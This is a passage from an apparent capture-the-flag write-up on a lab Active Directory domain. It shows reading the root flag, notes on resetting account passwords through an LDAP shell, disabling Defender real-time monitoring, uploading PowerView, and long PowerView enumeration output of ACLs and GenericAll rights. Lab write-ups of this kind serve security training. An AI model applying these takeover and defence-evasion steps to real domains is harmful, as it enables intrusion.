PM Windows 09/21/2025 03:53 PM ProgramData 12/28/2025 10:06 PM 1,476,395,008 pagefile.sys 12/28/2025 10:06 PM 12,288 DumpStack.log.tmp 4 File(s) 1,476,845,315 bytes 13 Dir(s) 14,738,894,848 bytes free C:\\> cd Users C:\\Users> ls Volume in drive C has no label. Volume Serial Number is 90AC-D439 Directory of C:\\Users 05/08/2021 08:18 AM 174 desktop.ini 05/08/2021 08:34 AM All Users [C:\\ProgramData] 05/08/2021 08:34 AM Default User [C:\\Users\\Default] 09/15/2021 03:12 PM Public 08/29/2023 10:00 PM .. 09/18/2025 10:39 PM Default 09/18/2025 10:40 PM Administrator 09/21/2025 02:56 PM the_emperor 09/21/2025 03:26 PM . 09/21/2025 03:27 PM Yorinobu 1 File(s) 174 bytes 9 Dir(s) 14,738,829,312 bytes free C:\\Users> cd the_emporer The system cannot find the path specified. C:\\Users> cd Administrator C:\\Users\\Administrator> ls Volume in drive C has no label. Volume Serial Number is 90AC-D439 Directory of C:\\Users\\Administrator 08/19/2021 06:45 AM AppData 08/19/2021 06:45 AM 20 ntuser.ini 09/18/2025 10:40 PM 163,840 ntuser.dat.LOG2 09/18/2025 10:40 PM 24,576 ntuser.dat.LOG1 09/18/2025 10:40 PM 524,288 NTUSER.DAT{cb2c9905-007c-11ec-b8ea-cc31a8606de8}.TMContainer00000000000000000001.regtrans-ms 09/18/2025 10:40 PM 524,288 NTUSER.DAT{cb2c9905-007c-11ec-b8ea-cc31a8606de8}.TMContainer00000000000000000002.regtrans-ms 09/18/2025 10:40 PM Application Data [C:\\Users\\Administrator\\AppData\\Roaming] 09/18/2025 10:40 PM My Documents [C:\\Users\\Administrator\\Documents] 09/18/2025 10:40 PM Recent [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Recent] 09/18/2025 10:40 PM Cookies [C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\INetCookies] 09/18/2025 10:40 PM PrintHood [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts] 09/18/2025 10:40 PM Local Settings [C:\\Users\\Administrator\\AppData\\Local] 09/18/2025 10:40 PM Templates [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Templates] 09/18/2025 10:40 PM Start Menu [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu] 09/18/2025 10:40 PM SendTo [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\SendTo] 09/18/2025 10:40 PM NetHood [C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts] 09/18/2025 10:40 PM . 09/18/2025 10:40 PM 65,536 NTUSER.DAT{cb2c9905-007c-11ec-b8ea-cc31a8606de8}.TM.blf 09/21/2025 02:40 AM 3D Objects 09/21/2025 02:40 AM Contacts 09/21/2025 02:40 AM Favorites 09/21/2025 02:40 AM Pictures 09/21/2025 02:40 AM Videos 09/21/2025 02:40 AM Music 09/21/2025 02:40 AM Searches 09/21/2025 02:40 AM Downloads 09/21/2025 02:40 AM Saved Games 09/21/2025 02:40 AM Links 09/21/2025 03:26 PM .. 09/21/2025 03:31 PM Desktop 09/22/2025 07:11 PM Documents 12/28/2025 11:16 PM 786,432 NTUSER.DAT 7 File(s) 2,088,980 bytes 25 Dir(s) 14,738,763,776 bytes free C:\\Users\\Administrator> cd Desktop C:\\Users\\Administrator\\Desktop> ls Volume in drive C has no label. Volume Serial Number is 90AC-D439 Directory of C:\\Users\\Administrator\\Desktop 06/21/2016 03:36 PM 527 EC2 Feedback.website 06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website 09/18/2025 10:40 PM .. 09/21/2025 02:40 AM 282 desktop.ini 09/21/2025 03:31 PM . 09/21/2025 03:31 PM 32 root.txt 4 File(s) 1,395 bytes 2 Dir(s) 14,738,767,872 bytes free C:\\Users\\Administrator\\Desktop> type root.txt fcf1dd0f08d1068a2f151fd2ec5ecf05 C:\\Users\\Administrator\\Desktop> ``` {% endcode %} ## Root.txt (no User.txt) ```bash C:\\Users\\Administrator\\Desktop> type root.txt fcf1dd0f08d1068a2f151fd2ec5ecf05 C:\\Users\\Administrator\\Desktop> ``` ## Continued Testing Was able to get RDP to work through Remmina, and using the Yorinobu user * Changed `Yorinobu`'s password through certipy —ldap-shell like I did for `SoulKiller.svc` and the `administrator` * Logged into the DC using `Yorinobu`'s new password `HackSmarter123` * Changed to the `administrator` user * Changed to powershell * Disabled Real-Time monitoring * Uploaded PowerView\.ps1 to the machine * Began further enumeration {% code overflow="wrap" expandable="true" %} ```bash PS C:\\Users\\Administrator\\Desktop> Find-InterestingDomainAcl -ResolveGUIDs | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier ObjectDN ActiveDirectoryRights SecurityIdentif ier -------- --------------------- --------------- CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=hacksmarter,DC=local CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner S-1-5-21-315... CN=DFSR-LocalSettings,CN=DC01,OU=Domain Controllers,DC=hacksmarter,DC=local GenericAll S-1-5-21-315... CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC01,OU=Domain Controllers,DC=hacksma... GenericAll S-1-5-21-315... CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC01,OU=Domain... GenericAll S-1-5-21-315... CN=Yorinobu,CN=Users,DC=hacksmarter,DC=local GenericAll S-1-5-21-315... ``` {% endcode %} These users do not have a password that expires: {% code overflow="wrap" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainUser -UACFilter DONT_EXPIRE_PASSWORD | select samaccountname samaccountname -------------- Guest Goro alt.svc Yorinobu Hanako Faraday Soulkiller.svc Hellman kei.svc Silverhand.svc Oda the_emperor ``` {% endcode %} #### GenericAll perms {% code overflow="wrap" expandable="true" %} ```bash PS C:\\Users\\Administrator\\Desktop> Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll"} | select ObjectDN, SecurityIdentifier, ActiveDirectoryRights ObjectDN SecurityIdentifier ActiveDirectoryRights -------- ------------------ --------------------- DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Users,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Computers,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Computers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-18 GenericAll OU=Domain Controllers,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=System,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=LostAndFound,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Infrastructure,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ForeignSecurityPrincipals,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=ForeignSecurityPrincipals,DC=hacksmarte... S-1-5-18 GenericAll CN=ForeignSecurityPrincipals,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Program Data,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Program Data,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Program Data,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Microsoft,CN=Program Data,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Microsoft,CN=Program Data,DC=hacksmarte... S-1-5-18 GenericAll CN=Microsoft,CN=Program Data,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=NTDS Quotas,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=NTDS Quotas,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Managed Service Accounts,DC=hacksmarter... S-1-5-18 GenericAll CN=Managed Service Accounts,DC=hacksmarter... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-516 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-9 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-526 GenericAll CN=Keys,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-527 GenericAll CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-18 GenericAll CN=WinsockServices,CN=System,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-18 GenericAll CN=RpcServices,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-18 GenericAll CN=FileLinks,CN=System,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-18 GenericAll CN=VolumeTable,CN=FileLinks,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-18 GenericAll CN=ObjectMoveTable,CN=FileLinks,CN=System,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Default Domain Policy,CN=System,DC=hack... S-1-5-18 GenericAll CN=Default Domain Policy,CN=System,DC=hack... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=AppCategories,CN=Default Domain Policy,... S-1-5-18 GenericAll CN=AppCategories,CN=Default Domain Policy,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Meetings,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-18 GenericAll CN=Policies,CN=System,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=User,CN={31B2F340-016D-11D2-945F-00C04F... S-1-5-18 GenericAll CN=Machine,CN={31B2F340-016D-11D2-945F-00C... S-1-5-18 GenericAll CN=User,CN={6AC1786C-016F-11D2-945F-00C04f... S-1-5-18 GenericAll CN=Machine,CN={6AC1786C-016F-11D2-945F-00C... S-1-5-18 GenericAll CN=RAS and IAS Servers Access Check,CN=Sys... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=File Replication Service,CN=System,DC=h... S-1-5-18 GenericAll CN=File Replication Service,CN=System,DC=h... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-18 GenericAll CN=Dfs-Configuration,CN=System,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-18 GenericAll CN=IP Security,CN=System,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-18 GenericAll CN=ipsecPolicy{72385230-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-18 GenericAll CN=ipsecISAKMPPolicy{72385231-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-18 GenericAll CN=ipsecNFA{72385232-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{59319BE2-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{594272E2-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{72385233-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-18 GenericAll CN=ipsecFilter{7238523A-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{59319BDF-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{7238523B-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-18 GenericAll CN=ipsecFilter{72385235-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-18 GenericAll CN=ipsecPolicy{72385236-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-18 GenericAll CN=ipsecISAKMPPolicy{72385237-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{59319C04-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{59319C01-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-18 GenericAll CN=ipsecPolicy{7238523C-70FA-11D1-864C-14A... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-18 GenericAll CN=ipsecISAKMPPolicy{7238523D-70FA-11D1-86... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-18 GenericAll CN=ipsecNFA{7238523E-70FA-11D1-864C-14A300... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{59319BF3-5EE3-11D2-ACE8-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{594272FD-071D-11D3-AD22-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{7238523F-70FA-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-18 GenericAll CN=ipsecNegotiationPolicy{59319BF0-5EE3-11... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-18 GenericAll CN=ipsecNFA{6A1F5C6F-72B7-11D2-ACF0-0060B0... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=AdminSDHolder,CN=System,DC=hacksmarter,... S-1-5-18 GenericAll CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-18 GenericAll CN=ComPartitions,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-18 GenericAll CN=ComPartitionSets,CN=System,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=WMIPolicy,CN=System,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=WMIPolicy,CN=System,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=WMIPolicy,CN=System,DC=hacksmarter,DC=l... S-1-3-0 GenericAll CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-5-18 GenericAll CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=PolicyTemplate,CN=WMIPolicy,CN=System,D... S-1-3-0 GenericAll CN=SOM,CN=WMIPolicy,CN=System,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=SOM,CN=WMIPolicy,CN=System,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=SOM,CN=WMIPolicy,CN=System,DC=hacksmart... S-1-3-0 GenericAll CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-5-18 GenericAll CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=PolicyType,CN=WMIPolicy,CN=System,DC=ha... S-1-3-0 GenericAll CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-5-18 GenericAll CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-5-21-3154413470-3340737026-2748725799-512 GenericAll CN=WMIGPO,CN=WMIPolicy,CN=System,DC=hacksm... S-1-3-0 GenericAll CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-18 GenericAll CN=DomainUpdates,CN=System,DC=hacksmarter,... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-18 GenericAll CN=Operations,CN=DomainUpdates,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-18 GenericAll CN=ab402345-d3c3-455d-9ff7-40268a1099b6,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... S-1-5-18 GenericAll CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-18 GenericAll CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-18 GenericAll CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-18 GenericAll CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-18 GenericAll CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-18 GenericAll CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-18 GenericAll CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-18 GenericAll CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-18 GenericAll CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-18 GenericAll CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-18 GenericAll CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-18 GenericAll CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-18 GenericAll CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-18 GenericAll CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-18 GenericAll CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-18 GenericAll CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-18 GenericAll CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-18 GenericAll CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-18 GenericAll CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-18 GenericAll CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-18 GenericAll CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-18 GenericAll CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-18 GenericAll CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-18 GenericAll CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-18 GenericAll CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-18 GenericAll CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-18 GenericAll CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-519 GenericAll CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... 